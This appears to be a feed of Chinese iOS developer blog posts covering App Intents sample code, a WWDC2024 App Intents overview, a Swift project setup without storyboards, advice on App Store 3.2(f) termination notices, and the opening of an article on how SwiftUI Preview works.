    TrailEntity(id: "1", name: "爬山路径", trailStyle: .mountaineering),
    TrailEntity(id: "2", name: "海滩路径", trailStyle: .beach),
    TrailEntity(id: "3", name: "骑行路径", trailStyle: .biking)
]

AppEntity 是 App Intents 框架中的一个协议,用于在快捷方式和 Siri 中定义和表示应用的模型数据,每个快捷方式实体都需要遵循AppEntity协议。如果你愿意,你还可以遵循IndexedEntity协议,它将帮助你将对象捐赠给 App Intents 系统,以便您可以执行搜索等活动。

static var defaultQuery = TrailEntityQuery()

defaultQuery属性为系统提供了查询TrailEntity结构所需的接口。

@Property(title: "Trail Name")

可以通过定义@Property属性包装器公开属性给系统的。方便用户在交互此参数时清楚具体含义

static var typeDisplayRepresentation: TypeDisplayRepresentation {
      TypeDisplayRepresentation(
        name: LocalizedStringResource("TypeDisplay路径", table: "AppIntents"),
        numericFormat: LocalizedStringResource("(placeholder: .int) TypeDisplay路径", table: "AppIntents")
      )
    }

typeDisplayRepresentation用来描述当前实体的类型,它主要用于说明该类型的本质,通常在 Siri、Shortcuts 等场景中显示(在使用该实体时,会展示,参见下方Transferable协议的使用

// 实现显示名称,供快捷方式界面展示
var displayRepresentation: DisplayRepresentation {
//        DisplayRepresentation(title: "(name)")
    TrailsStyle.caseDisplayRepresentations[trailStyle] ?? "Unknown Trail Style"
}

displayRepresentation可以提供有关如何向人们显示实体的信息。

struct TrailEntityQuery: EntityQuery

定义了一个名为 TrailEntityQuery 的结构体,并声明它遵循 EntityQuery 协议。

func entities(for identifiers: [String]) -> [TrailEntity] {
    trails.filter { identifiers.contains($0.id) }
}

返回与提供的标识符匹配的 TrailEntity 实体。通过对 trails 数组进行过滤,只有那些 IDidentifiers 数组中的实体会被返回。

func suggestedEntities() -> [TrailEntity] {
    // 返回在提供此查询支持的选项列表时显示的初始结果。
    return trails
}

这里返回整个 trails 数组,意味着所有的 TrailEntity 都会被作为建议选项提供。这可以帮助用户快速选择一个路径。

定义 Intent

使用 AppIntent 创建一个自定义的 Intent。

import Foundation
import AppIntents

// 定义一个 AppIntent,用于选择并打开路径
struct OpenTrailIntent: AppIntent {
    static var title: LocalizedStringResource = "打开路径意图标题"

    static var description = IntentDescription("这是一个APPintent的demo的意图描述",
                                               categoryName: "路径",
                                               resultValueName: "Suggested Trails")
    
    static var openAppWhenRun: Bool = false

    // 如果parameterSummary 未打开,那么系统会检测所有title类型的参数,并在编辑快捷方式时列出,否则,优先展示parameterSummary
//    static var parameterSummary: some ParameterSummary {
//        Summary("Summary (.$trailEntity) 打开") // 如果提供了summary,优先展示带参数的summary,否者走suggestedEntities
//    }
    
    // 有几个title,在编辑快捷方式时就会展示几个选项,可以同时存在,requestValueDialog当用户没有选中,直接运行快捷方式时,会出现弹框,标题就是requestValueDialog
    @Parameter(title: "带参数路径", requestValueDialog: "参数你想要打开什么路径?")
    var trailStyle: TrailsStyle
    
    // 编辑意图时显示名称,供快捷方式界面展示
    @Parameter(title: "路径", requestValueDialog: "你想要打开什么路径?")
    var trailEntity: TrailEntity

    // perform 方法执行打开路径的操作
    func perform() async throws -> some IntentResult & ProvidesDialog {
        return .result(dialog: "打开 (trailEntity.name)对话框内容")
    }
}

OpenTrailIntent遵循了AppIntent协议。

static var title: LocalizedStringResource = "打开路径意图标题"

AppIntent需要一个title属性,LocalizedStringResource为 Intent 提供标题。这是快捷方式等位置中的 Intent 名称。

    static var description = IntentDescription(
        "这是一个APPintent的demo的意图描述",
        categoryName: "路径分类",
        searchKeywords: ["Trail, Map"],
        resultValueName: "Selected Trails"
    )

descriptionText: LocalizedStringResource

这是一个必需参数,用于为参数提供描述性文本。描述性文本会在 Siri 或快捷方式中显示,帮助用户理解参数的目的。例如,在描述一个地点参数时,descriptionText 可能为 "Select a location"

categoryName: LocalizedStringResource?

这是可选的,用于指定参数的类别名称。在 Siri 或快捷方式中可以用来对参数进行分类。例如,如果参数是“日期”或“地点”,categoryName 可以为 "Date""Location",提供一种额外的分类信息。

searchKeywords: [LocalizedStringResource]

可选的搜索关键字数组,帮助用户在快捷方式或 Siri 中更好地搜索和匹配参数。这些关键字并不直接显示给用户,而是用于提高搜索匹配度。例如,关键字可以包含 "Trail""Map" 等,帮助用户在 Siri 或快捷方式搜索中更容易找到特定参数。

resultValueName: LocalizedStringResource?

用于提供结果的显示名称,这个值在返回结果时可以显示给用户。例如,如果参数是一个搜索关键字,可以在 resultValueName 中指定 "Search Term",便于结果输出时清楚地显示其含义。

// 如果parameterSummary 未打开,那么系统会检测所有title类型的参数,并在编辑快捷方式时列出,否则,优先展示parameterSummary
static var parameterSummary: some ParameterSummary {
    Summary("Summary (.$trailEntity) 打开") // 如果提供了summary,优先展示带参数的summary,否者走suggestedEntities
}

parameterSummary属性定义了此意图的摘要,以及其参数的填充方式。如果你的参数是一个枚举,parameterSummary内部还支持swift方式来处理你的参数条件,具体可以参考系统的写法

  1. 如果parameterSummary 未实现,那么系统会检测所有title类型的参数,并在编辑快捷方式时列出,否则,优先展示parameterSummary

  2. 如果parameterSummary里只覆盖了一个title参数,那么在执行的时候,如果其他参数有requestValueDialog,还是会执行一次。

    // 有几个title,在编辑快捷方式时就会展示几个选项,可以同时存在,requestValueDialog当用户没有选中,直接运行快捷方式时,会出现弹框,标题就是requestValueDialog
    @Parameter(title: "带参数路径", requestValueDialog: "带参数的你想要打开什么路径?")
    var trailStyle: TrailsStyle
    
    // 编辑意图时显示名称,供快捷方式界面展示
    @Parameter(title: "路径参数", requestValueDialog: "你想要打开什么路径?")
    var trailEntity: TrailEntity

使用 @Parameter 标记可交互的参数,让用户在快捷方式中进行选择。

func perform() async throws -> some IntentResult & ProvidesDialog {
    return .result(dialog: "打开 (trailEntity.name)对话框内容")
}

实现 perform() 方法,用于在意图执行时执行实际操作。,该方法返回一个IntentResult描述此意图运行结果的 。有时,返回值可能为空.result()。在返回之前,该perform方法要求导航模型导航到指定的页面。有时,可以返回一个对话框,例如本示例。也可以在此函数中实现自定义响应UI

创建应用程序快捷方式

struct AppShortcuts: AppShortcutsProvider {
    static var appShortcuts: [AppShortcut] {
        AppShortcut(
            intent: OpenTrailIntent(),
            // 根据trail来解析所有和trail的意图展示在快捷指令中
            phrases: ["open (.$trailEntity) in (.applicationName) "],
            shortTitle: "打开路径",
            systemImageName: "map"
        )
    }
}

通过实现 AppShortcutsProvider,将 OpenTrailIntent 注册为一个快捷方式,使其可以通过 Siri 和快捷方式调用。

@main
struct MyAppIntentsApp: App {
    init() {
        AppShortcuts.updateAppShortcutParameters()
    }
    var body: some Scene {
        WindowGroup {
            ContentView()
        }
    }
}

当你的 AppIntent 有多个参数时,其中一些参数的值可能依赖于其他参数时,此时需要去动态更新

Siri Tips和ShortcutsLink使用

在系统中注册 App Shortcut 后,用户无需进一步配置即可通过 Siri 开始使用意图。为了教用户使用意图的短语,应用在相关视图中提供了SiriTipView

SiriTipView(intent: OpenTrailIntent(), isVisible: $visiable)
    .siriTipViewStyle(.automatic)

同时也可在APP内添加快捷方式的跳转链接

ShortcutsLink()
    .shortcutsLinkStyle(.automaticOutline)

如果你使用了APP的快捷方式,那么系统会自动收集此意图,并会通过siri来推荐你使用此意图。当然你也可以选择删除它

Transferable协议的使用

通过遵循 Transferable,使得共享和传输您描述应用实体的数据成为可能。

依据上面的demo继续实现,将TrailEntity的内容导出为富文本和图片两种类型

import AppIntents
import CoreLocation
import Foundation
import CoreTransferable
import UIKit
import SwiftUI

struct TrailEntitysSummary: TransientAppEntity {
    static var typeDisplayRepresentation = TypeDisplayRepresentation(name: "typeDisplay路径内容总结")
    
    @Property(title: "总结开始时间")
    var summaryStartDate: Date
    
    @Property(title: "路径名称")
    var name: String
    
    @Property(title: "路径类型")
    var style: TrailsStyle

    @Property(title: "路径ID")
    var id: String
    
    init() {
        summaryStartDate = Date()
        name = ""
        id = ""
        style = .beach
    }
    
    var displayRepresentation: DisplayRepresentation {
        var image = "party.popper"
        var subtitle = LocalizedStringResource("")
        
        return DisplayRepresentation(title: "Display路径内容总结",
                                     subtitle: subtitle,
                                     image: DisplayRepresentation.Image(systemName: image),
                                     synonyms: ["Display 路径总结"])
    }
}

extension TrailEntitysSummary: Transferable {
    static var transferRepresentation: some TransferRepresentation {
        DataRepresentation(exportedContentType: .rtf) { summary in
            try summary.asRTFData
        }

        FileRepresentation(exportedContentType: .png) { summary in
            await SentTransferredFile(try summary.asImageFile)
        }
    }
}

extension TrailEntitysSummary {
    
    // 将实体内容导出为 RTF 数据
    var asRTFData: Data {
        let rtfText = """
        我是TrailEntity转成富文本的Demo
        Trail Summary:
        - ID: (id)
        - Name: (name)
        - Trail Style: (style.rawValue)
        """
        
        let attributedString = NSAttributedString(string: rtfText, attributes: [
            .font: UIFont.systemFont(ofSize: 14)
        ])
        
        return try! attributedString.data(from: NSRange(location: 0, length: attributedString.length), documentAttributes: [.documentType: NSAttributedString.DocumentType.rtf])
    }
    
    // 将实体内容导出为图像文件
    @MainActor
    var asImageFile: URL {
        let controller = UIHostingController(rootView: TrailSummaryView(trail: self))
        controller.view.bounds = CGRect(x: 0, y: 0, width: 300, height: 400)
        
        let renderer = UIGraphicsImageRenderer(bounds: controller.view.bounds)
        let image = renderer.image { _ in
            controller.view.drawHierarchy(in: controller.view.bounds, afterScreenUpdates: true)
        }
        
        // 将图像保存为 PNG 格式
        let fileURL = FileManager.default.temporaryDirectory.appendingPathComponent("TrailSummary.png")
        try? image.pngData()?.write(to: fileURL)
        
        return fileURL
    }
}

// SwiftUI 视图,用于生成图像内容
struct TrailSummaryView: View {
    let trail: TrailEntitysSummary
    
    var body: some View {
        VStack(alignment: .leading, spacing: 8) {
            Text("我是TrailEntity转成图片的Demo")
                .font(.title2)
            Text("Trail Summary")
                .font(.title2)
                .bold()
            Text("ID: (trail.id)")
            Text("Name: (trail.name)")
            Text("Trail Style: (trail.style.rawValue)")
            Spacer(minLength: 10)
        }
        .padding()
        .background(Color.white)
        .cornerRadius(10)
        .shadow(radius: 5)
    }
}
struct TrailEntitysSummary: TransientAppEntity {

和上面创建自定义意图一样,首先创建一个 TrailEntitysSummary 代表路径汇总信息,其遵循TransientAppEntity协议,(一种表示瞬态模型对象的类型,它通过属性将其接口暴露给应用程序intent。注意,TransientAppEntity类型不会被查询。)

    @Property(title: "总结开始时间")
    var summaryStartDate: Date
    
    @Property(title: "路径名称")
    var name: String
    
    @Property(title: "路径类型")
    var style: TrailsStyle

    @Property(title: "路径ID")
    var id: String

使用@Property来将这些属性公开给系统使用,在使用该实体的时候系统会提供这些被暴露出来的属性供使用者互动

extension TrailEntitysSummary: Transferable {
    static var transferRepresentation: some TransferRepresentation {
        DataRepresentation(exportedContentType: .rtf) { summary in
            try summary.asRTFData
        }

        FileRepresentation(exportedContentType: .png) { summary in
            await SentTransferredFile(try summary.asImageFile)
        }
    }
}

遵循Transferable协议,让TrailEntitysSummary 的内容导出为不同的类型并在不同的地方使用。这里支持富文本和图片两种类型

IntentFile协议使用

import Foundation
import AppIntents
import SwiftUI

struct DisplayPhotoIntent: AppIntent {
    static var title: LocalizedStringResource = "Display Photo"
    
    // 文件参数,用于接收照片文件
    @Parameter(title: "其他APP图片", supportedContentTypes: [.jpeg, .rtf, .image])
    var photoFile: IntentFile
    
    static var parameterSummary: some ParameterSummary {
        Summary("预览(.$photoFile)")
    }
    
    func perform() async throws -> some IntentResult & ProvidesDialog & ShowsSnippetView {
        return .result(dialog: "Here's your photo!", view: DisplayPhotoView(photoFile: photoFile))
    }
}

// 显示 IntentFile 图片
struct DisplayPhotoView: View {
    let photoFile: IntentFile
    
    var body: some View {
        if let uiImage = UIImage(data: photoFile.data) {
            Image(uiImage: uiImage)
                .resizable()
                .aspectRatio(contentMode: .fit)
                .frame(width: 300, height: 300)
        } else {
            Text("Unable to display image.")
        }
    }
}

通过声明IntentFile的参数,接受其他应用提供的内容。

首先创建一个 DisplayPhotoIntent 意图

    // 文件参数,用于接收照片文件
    @Parameter(title: "其他APP图片", supportedContentTypes: [.jpeg, .rtf, .image])
    var photoFile: IntentFile

声明一个IntentFile类型的参数,并使用@Parameter将其暴露给系统,当用户在使用快捷方式时,可以打开文件管理系统进行文件的选择。

    func perform() async throws -> some IntentResult & ProvidesDialog & ShowsSnippetView {
        return .result(dialog: "Here's your photo!", view: DisplayPhotoView(photoFile: photoFile))
    }

perform结果遵循ShowsSnippetView协议,支持结果返回一个自定义的view,用于预览选中的文件,当然在这里也可以操作,将文件用户APP的某些功能,比如意见反馈上传。

在 Spotlight 中查找应用实体以及APPIntents实例 Demo

在 Spotlight 中查找应用实体

  1. 实体支持IndexedEntity
  2. 使用CSSearchableIndex上报实例

下载下面资源里的工程查看效果

代码效果对比步骤:

步骤1:运行上面的代码,然后进入手机首页,并向下拖动以显示搜索对话框。输入Session搜索, 只会展示APP

步骤2:在AppDelegate文件中,打开以下代码:

Task {
      try await CSSearchableIndex
        .default()
        .indexAppEntities(sessionDataManager.sessions.map(SessionEntity.init(session:)))
    }

再次执行步骤1,查看搜索结果:会发现,可以搜索到具体的Entity,点击可以跳转到对应的详情页。

参考文档

  1. developer.apple.com/documentati…

资源

github.com/chaserr/MyA…

by 东吴贾诩 at January 14, 2025 03:03 AM

What’s new in App Intents (一)

iOS 16 Apple为我们带来了全新的快捷指令框架 App Intents。在iOS 16之前,快捷指令是和Siri息息相关的。与iOS 16之前Siri Shortcut相比,新框架最大的优势是用户安装App后可立即使用快捷指令,无需在App内操作添加到Siri这个过程。

2024 WWDC 总更新预览(技术层面更新)

在WWDC2024 会议中提到的App Intents的主要技术上的更新内有以下几个方面

系统集成

  1. 将您的应用与 Siri 和 ~~Apple Intelligence ~~通过 App 意图域集成。
  2. 使用 ControlConfigurationIntentWidgetKit,允许用户将控件放置在锁屏或控制中心。
  3. 为您的应用创建锁定的相机捕获扩展,并实现 CameraCaptureIntent,允许用户通过控件或操作按钮捕获照片和视频。
  4. 通过实现 AudioRecordingIntent 创建捕获音频的应用意图。
  5. 通过实现 IndexedEntity 协议允许用户在 Spotlight 中查找应用实体。

内容共享

  1. 通过遵循 Transferable,使得共享和传输您描述应用实体的数据成为可能。
  2. 使用 IntentFile 作为应用意图参数,通过应用意图接收其他应用提供的内容
  3. 使用 FileEntity 描述存储应用意图数据的文件。

通用

  1. 提供关于错误的附加信息,例如 AppIntentError.PermissionRequiredAppIntentError.UnrecoverableAppIntentError.UserActionRequired

  2. 传递一个条件到 requestConfirmation(conditions:actionName:dialog:),仅当用户的上下文满足所提供的条件时才需要用户确认。

  3. 使用 URLRepresentableIntentURLRepresentableEntityURLRepresentableEnum 将您的应用意图、应用实体和应用枚举表示为通用链接,以便您提供应用内容的深层链接。

  4. 使用 UnionValue() 宏为意图参数定义一组类型,以创建灵活的应用意图,因为参数可以是几个预定义联合类型之一。

下面将为这些更新内容做详细的具体介绍:

Spotlight integration

2024年的更新中,Spotlight 的集成得到了显著增强,使得用户能够通过 Spotlight 更轻松地访问应用程序的功能。

主要特点:

  1. 增强索引和搜索能力

    应用程序可以将更多的内容和功能索引到 Spotlight 中,使用户可以通过简单的搜索直接访问特定的应用功能。例如,用户可以通过 Spotlight 搜索直接找到应用中的特定任务或快捷指令,而不必打开应用并导航到相应的功能。

  2. 快捷指令的直接触发

    用户可以在 Spotlight 搜索结果中直接触发应用的快捷指令。这使得常用功能变得更加触手可及,提升了用户体验。

  3. 智能建议

    Spotlight 可以根据用户的使用习惯和上下文,智能地建议相关的快捷指令。例如,用户每天早上都会使用的快捷指令将在早上自动出现在 Spotlight 中。

视频代码内容

IndexedEntity 协议

通过采用新增的 IndexedEntity 协议允许用户在 Spotlight 中查找应用实体。

IndexedEntit能够将您的应用实体索引到 CSSearchableIndex,同时仍然允许您自定义属性集。这使得您的实体能够显示在Spotlight搜索结果中,并帮助Siri理解和找到它们。

// Add conformance to the new protocol
extension TrailEntity: IndexedEntity { }

// In App's init method, index the trail entities in the data manager
try await CSSearchableIndex
    .default()
    .indexAppEntities(
        trailDataManager
            .trails
            .map(TrailEntity.init(trail:))
    )

// 自定义属性集
extension TrailEntity: IndexedEntity {
    var attributeSet: CSSearchableItemAttributeSet {
        let attributes = CSSearchableItemAttributeSet()

        attributes.city = self.city
        attributes.stateOrProvince = self.state
        attributes.keywords = activities.map(.rawValue)

        return attributes
    }
}

associateAppEntity可以使用新API添加语义搜索支持和设置优先级

public extension CSearchableItem {
    func associateAppEntity(
        _ appEntity: some IndexedEntity,
        priority: Int
    )
}

通过该协议,开发人员可以为他们的应用程序中的所有项目(或实体)创建索引,为每个项目赋予一组属性(包括关键字),甚至可以为它们分配优先级以匹配收藏夹列表等功能。然后,通过在应用程序启动或更新时将其交给 Spotlight,所有数据都将被索引和搜索,并且在使用自然语言查询时更容易匹配。

使用场景:

App 可以将用户的睡眠事件索引到 Spotlight 中,使用户可以通过 Spotlight 搜索快速查看和管理睡眠信息。例如,用户可以搜索“睡眠”并立即查到当天的睡眠详情。

Entities and Files

2024年的更新中,App Intents 对实体和文件的处理能力得到了提升,允许开发者创建更复杂和强大的快捷指令。

主要特点:

  1. 丰富的实体支持

    开发者可以在 App Intents 中定义和使用复杂的实体(Entities),这些实体可以包含丰富的数据和属性。例如,一个待办事项应用可以定义一个“任务”实体,其中包含任务的标题、截止日期、优先级等属性。

  2. 文件处理

    App Intents 现在支持处理各种类型的文件,包括文本文件、图片、视频等。这使得应用程序能够创建涉及文件操作的快捷指令,例如将文件上传到云端、在文件中添加注释等。

  3. 动态实体: 实体可以根据应用的状态或用户的输入动态生成。例如,用户在快捷指令中选择一个项目后,可以动态生成该项目的相关任务列表。

视频代码内容

Make entities meaningful

将AppEntity 导出为不同的类型并在不同的地方使用,使实体变得更有意义

extension ActivityStatisticsSummary: Transferable {
    static var transferRepresentation: some TransferRepresentation {
        DataRepresentation(exportedContentType: .rtf) { summary in
            try summary.asRTFData
        }

        FileRepresentation(exportedContentType: .png) { summary in
            SentTransferredFile(try summary.asImageFile)
        }
    }
}

IntentFile

检查可用的内容类型,并使用所需的类型

struct AppendToNote: AppIntent {
    @Parameter var not: NoteEntity

    @Parameter(title: "content to append", supportedContentTypes: [.jpeg, .rtf])
    var attachment: IntentFile

    // ...
}

struct AppendToNote: AppIntent {
    // ...
    public func perform() async throws -> some IntentResult {
        if attachment.availableContentTypes.contains(.png) {
            let png = try await attachment
                .withFile(contentType: .png) { url, openedInPlace in
                    guard let image = UIImage(contentsOfFile: url.absolutePath) else {
                        throw Error.unableToLoadImage
                    }
                    returnImage
                }
        }
        return .result()
    }
}

FileEntity

  • 非常适合基于文档的应用程序或管理文件的应用程序
struct PhotoEntity: FileEntity {
    static var typeDisplayRepresentation: TypeDisplayRepresentation = "My Photo Entity"

    static var supportedContentTypes: [UTType] = [.png]

    var id: FileEntityIdentifier

    @Property(title: "Width")
    var width: Double

    @Property(title: "Height")
    var height: Double
}

使用场景:

  1. App 可以让用户通过快捷指令创建带有图片的意见反馈。例如,用户可以使用快捷指令从照片库中选择图片并进行意见反馈上传。

Universal Links

Universal Links 的增强使得 App Intents 能够更无缝地与应用的深层链接(deep links)集成。

主要特点:

  1. 深度链接集成

    1. App Intents 支持与应用的 Universal Links 深度集成,使用户可以通过点击链接直接进入应用的特定页面或功能。例如,用户收到一封包含特定任务链接的电子邮件,点击链接即可直接打开应用中的该任务详情页。
  2. 跨平台支持

    1. Universal Links 现在支持跨不同设备和平台的一致体验。用户可以在iOS设备上创建一个快捷指令并通过Universal Links在macOS设备上无缝继续操作。
  3. 智能处理

    1. 应用程序可以智能地处理通过 Universal Links 传递的数据,并根据数据的内容自动执行相应的操作。例如,点击一个包含用户信息的链接时,应用可以自动填充表单并准备提交。

视频代码内容

新 API:

  • URLRepresentableEntity
  • URLRepresentableEnum
  • URLRepresentableIntent

首先使实体符合URLRepresentableEntity:

extension TrailEntity: URLRepresentableEntity {
    static var urlRepresentation: URLRepresentation {
        "https://trailsapp.example/trail/(.id)/details"
    }
}

然后你就可以深度链接到内容:

struct OpenTrailIntent: OpenIntent, URLRepresentableIntent {
    static var title: LocalizedStringResource = "Open Trail"

    static var parameterSummary: some ParameterSummary {
        Summary("Open (.$target)")
    }

    @Parameter(title: "Trail")
    var target: TrailEntity
}

或者从perform函数中中返回一个OpenURLIntent

func perform() async throws -> some OpensIntent {
    let newTrail = TrailEntity(name: name)
    .result(
        // You can open a URL directly
        /* opensIntent: OpenURLIntent(
         *    "https://developer.apple.com"
         * ) */
        // Or use urlRepresentable to
        opensIntent: OpenURLIntent(urlRepresentable: newTrail)
    )
}

使用场景:

  • App 可以通过 Universal Links 直接带用户进入开通会员页面。

Developer improvements

UnionValue

对于开发人员来说,UnionValue 意味着当一个参数需要接受多种不同类型的值(如字符串、数字、或文件)时,可以使用 UnionValue 来支持这些类型。而无需为每种类型分别定义参数。

  • 可能不止一种类型
  • 枚举中的每个案例必须只有一个关联值
  • 必须是唯一的
@UnionValue
enum DayPassType {
    case park(ParkEntity)
    case trail(TrailEntity)
}

struct BuyDayPass: AppIntent {
    // ...
    @Parameter var passType: DayPassType
    // ...

    @Parameter var input: UnionValue<String, Int, FileEntity>
    
    func perform() async throws -> some IntentResult {
        switch passType {
        case let .park(park):
            // purchase for park
        case let .trail(trail):
            // purchase for trail
        }
        
        switch input {
        case .string(let text):
        case .int(let number):
        case .file(let file):
    }
}

Generated titles

不再需要为 AppEntity 属性或参数提供标题

struct SuggestTrails: AppIntent {
    @Parameter(title: "Activity")
    var activity: ActivityStyle

    @Parameter(title: "Search Radius")
    var searchRadius: Measurement<UnitLength>?

    @Parameter(title: "Location")
    var location: String?

    @Parameter(title: "Featured Collection")
    var trailCollection: TrailCollection?
}

// 上面的代码将变体成下面的这种写法

struct SuggestTrails: AppIntent {
    @Parameter var activity: ActivityStyle
    @Parameter var searchRadius: Measurement<UnitLength>?
    @Parameter var location: String?

    @Parameter(title: "Featured Collection")
    var trailCollection: TrailCollection?
}

Framework improvements

AppIntent 类型不再必须位于同一模块中,devs可以在框架中使用 AppEntities 并从应用程序和扩展目标中引用

参考文档

  1. App Intents updates | Apple Developer Documentation
  2. App Intents | Apple Developer Documentation
  3. Introduction to Apple Intelligence with Siri & App Intents, Episode 3: Demo
  4. GitHub - dacharyc/WWDC2024-Notes: Notes from (virtually) attending WWDC2024

by 东吴贾诩 at January 14, 2025 02:47 AM

January 13, 2025

juejin ios

【Swift 初学系列】新建项目(纯代码)🚀

1. 准备工作 🛠️

本文使用的设备和工具:

  • 一台 macOS 电脑 💻
  • Xcode 版本16.2 (建议使用最新版本)

Xcode Version

2. 创建一个新项目 ✨

  1. 打开 Xcode,选择 “Create New Project
  2. 在模板选择界面,选择 “iOS”,再选择 “App”,然后点击 “Next
  3. 项目配置:
    • Product Name:项目名称,例如 DemoApp
    • Team:如果无,选择 None
    • Organization Identifier:唯一标识符,如 com.zhangsan
    • Interface:选择 Storyboard
    • Language:99%情况都选择 Swift
    • Testing System:暂时不需要
    • Storage:可选可不选
  4. 点击 Next,选择保存路径并创建项目

Create New Project image.png image.png image.png

3. 删除 Storyboard 🗑️

新建的项目默认使用 Storyboard,因此要实现纯代码开发,需要移除与 Storyboard 相关的文件和数据。

步骤:

  1. 删除项目中的 Main.storyboard 文件
  2. 点击项目根目录,切换到 TARGETS 下的 Info,找到 Main storyboard file base name 条目并删除
  3. 打开 Info.plist 文件,找到 Storyboard Name 条目并删除

image.png image.png

4. 设置根视图控制器 🏠

打开 SceneDelegate.swift 文件,通过代码手动设置根视图控制器,初始化 UI。


import UIKit

class SceneDelegate: UIResponder, UIWindowSceneDelegate {

    var window: UIWindow?

    func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {
        guard let windowScene = (scene as? UIWindowScene) else { return }
        window = UIWindow(windowScene: windowScene)
        window?.rootViewController = ViewController()
        window?.makeKeyAndVisible()
    }

}

5. 创建自定义 ViewController 🖼️

打开 ViewController.swift 文件,添加一行文本


import UIKit

class ViewController: UIViewController {
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // 设置窗口背景颜色 🌈
        view.backgroundColor = .systemPink
        
        // 添加文本
        let label = UILabel()
        label.text = "Hello world! 👋"
        label.textColor = .white
        label.textAlignment = .center
        label.frame = view.bounds

        // 添加到视图
        view.addSubview(label)
    }
    
}

6. 运行项目 ▶️

点击 Xcode 界面左上角的运行按钮(或者使用快捷键 Cmd + R)🎯,模拟器将会启动

image.png

by Chengtszkong at January 13, 2025 05:54 PM

Appstore收到 3.2(f)前的自查手册,以及中招后的自救说明。

一、序言

简单总结一下关于上周审核相关咨询问题排名:

  • Pending Termination Notice,3.2(f) of the Apple Developer Program
  • 4.3(a)
  • Guideline 1.5.0 - Safety

第一名还有一个噩梦一般的叫法,江湖人称30天封号倒计时。今天就简单说一下关于3.2(f)中招的几种情况。

二、3.2(f)中招场景

2.1、隐瞒性

部分摘录原文如下:

App submissions from your account have repeatedly violated the App Review Guidelines in an attempt to evade the review process. After multiple resubmissions, the guideline violation(s) detailed to you in prior correspondence remain unresolved.

翻译如下:

您的帐户提交的应用程序多次违反应用程序审查指南,试图逃避审查过程。在多次重新提交之后,在之前的通信中详细向您说明的违反指南的情况仍然没有得到解决。

2.2、关联性

部分摘录原文如下:

Some of your account information is associated with other developer accounts that have been flagged for termination, including bank account connection.

翻译如下:

您的一些帐户信息与其他已被标记为终止的开发人员帐户相关联,包括银行帐户连接。

2.3、真实性

部分摘录原文如下:

You provided fraudulent and/or false account information, documentation, or otherwise falsely represented yourself or your submitted app to Apple.

翻译如下:

你向苹果提供了欺诈性和/或虚假的账户信息、文件,或以其他方式虚假陈述你自己或你提交的应用。

三、3.2(f)回复说明

声明:3.2(f)是可以抢救的而且是有希望申诉成功,并不是一定100%嘎了,因为去年8月份和12份都分别成功救回来了2个3.2(f),14天和30天封号倒计时的账号。所以遇到问题一要沉着冷静,切忌自乱阵脚。特别是在回复的文案中,要切合符合自己身的实际情况,实事求是也要刚正不阿。如果没有充足的准备,宁可不回复也不要急于回复。不然大概率只会加速账号嘎了。

这里提一下,上周六有一个粉丝在晚上11点来咨询关于3.2f的问题。经过简单了解了原因之后,我给他指明了原因以及救回的难度,并没有收费也建议他不要再白花钱了。因为都是打工人无论是个人还是公司,现在的背景下都不容易。我认为君子有所为有所不为,打个工人何苦为难打工人?

四、吐槽一下

第一点,套路我在搞什么产品,打着合作的幌子。,别来搞笑了大家都是成年人,需要合作或者合作什么类型我自己会说。

第二点,禁止PUA、白嫖!,这种人可能是PUA惯了。为了白嫖不惜画饼充饥!张嘴:‘我们产品前期投入了200w,.....(屏蔽N多字)’。要认清楚局势,我呢1不是你公司的员工,2不是我求你办事儿。所以不要主客体颠倒了哈。

第三点,你有啥绝活?。这里不是“春晚”出节目哈。在之前的文章我已经提及过了。上来就质疑的大可不必合作,浪费彼此的时间。

遵守规则,方得长治久安,最后祝大家大吉大利,今晚过审!

by iOS阿玮 at January 13, 2025 07:31 AM

January 12, 2025

juejin ios

探究 SwiftUI Preview 的工作原理

如果你爱 SwiftUI😍,那你很可能也恨 SwiftUI Preview😡。

之所以这么说,是因为大部分使用 SwiftUI 的开发者,都或多或少遇到过这样的一个界面:

除了崩溃,Xcode Preview 还经常会莫名其妙地卡死无法展示预览效果。

一般遇到这种情况,由于我们不了解 Preview 的工作原理,所以除了处理明显的项目编译错误外,对于其他疑难杂症,似乎只能通过清除缓存、重启 Xcode 这些方法来解决。

为了更好地了解这些问题的根因,这篇文章将探究 SwiftUI Preview 的工作原理。尽管无法完全杜绝 SwiftUI Preview 产生的问题,但至少能够帮助你看懂异常日志,希望能给你的日常开发过程带来一些启发。

TLDR:先说结论

  1. Xcode 16 中,Preview 的工作原理进行了较大调整。如果你对 Xcode 16 之前的 Preview 工作原理感兴趣,可以阅读构建稳定的预览视图 —— SwiftUI 预览的工作原理
  2. 从 Xcode 16 开始,正常的 Build and Run 流程与 Preview 共享构建产物,只是产物的执行流程不同,Preview 会使用 JIT 的方式运行产物
  3. Preview 有三种不同层次的重新构建操作,适用于源代码文件不同程度的修改。如果我们用 Small、Middle、Large 来指代这三种操作,它们的区别可以用下面的表格来表示:
重新构建程度典型场景重新构建范围Preview 应用刷新方式
Small修改方法中的字符串字面量不重新构建保留原应用进程,重新执行 Preview 宏中定义的方法
Middle修改方法中的其他内容只重新构建修改了方法的源代码文件关闭原应用进程,重新开启一个新的应用实例,再执行 Preview 宏中定义的方法
Large修改类或者结构体属性、修改全局变量整个工程重新构建,等同于重新执行一次带缓存的 build and run关闭原应用进程,重新开启一个新的应用实例,再执行 Preview 宏中定义的方法

接下来我们可以通过下面的内容来进一步了解这些细节。

怎么研究:从构建产物来一探究竟

为了研究 Preview 的工作原理,让我们先做一个假设:Preview 在工作过程中,一定会在 Xcode 的 DerivedData 文件夹中留下蛛丝马迹。因此,我们不妨将 DerivedData 加入 Git 管理,观察每一次操作会给 DerivedData 文件夹带来什么变化。

为了方便研究,我们创建了一个名为 SwiftUIPreviewSample 的工程,并将项目的 DerivedData 文件夹放到 .xcproject 同级目录以方便查看。你也可以通过查看每一个 commit diff 来了解不同修改对 DerivedData 的影响。

复习一下:一次 Build and Run 的应用是怎么运行起来的?

从 Xcode 16 开始,SwiftUI Preview 的工作机制就发生了一些变化,其中最主要的变化就是:Build and Run 和 Preview 共享了同样的构建产物,这是为了让 Preview 和 Build and Run 的编译产物可以复用,进而提高 Preview 本身的构建效率。

当我们点击 Play 之后,Xcode 就会构建整个项目,整个过程的中间产物和最终产物都存在于 ~/Library/Developer/Xcode/DerivedData/xxx/Build 文件夹下的 Build/Intermediates.noindex 和 Build/Products 文件夹下。

在最终的 .app 中,我们一般可以看到这样的内容:

XXX.app
  |__ XXX
  |__ __preview.dylib
  |__ XXX.debug.dylib

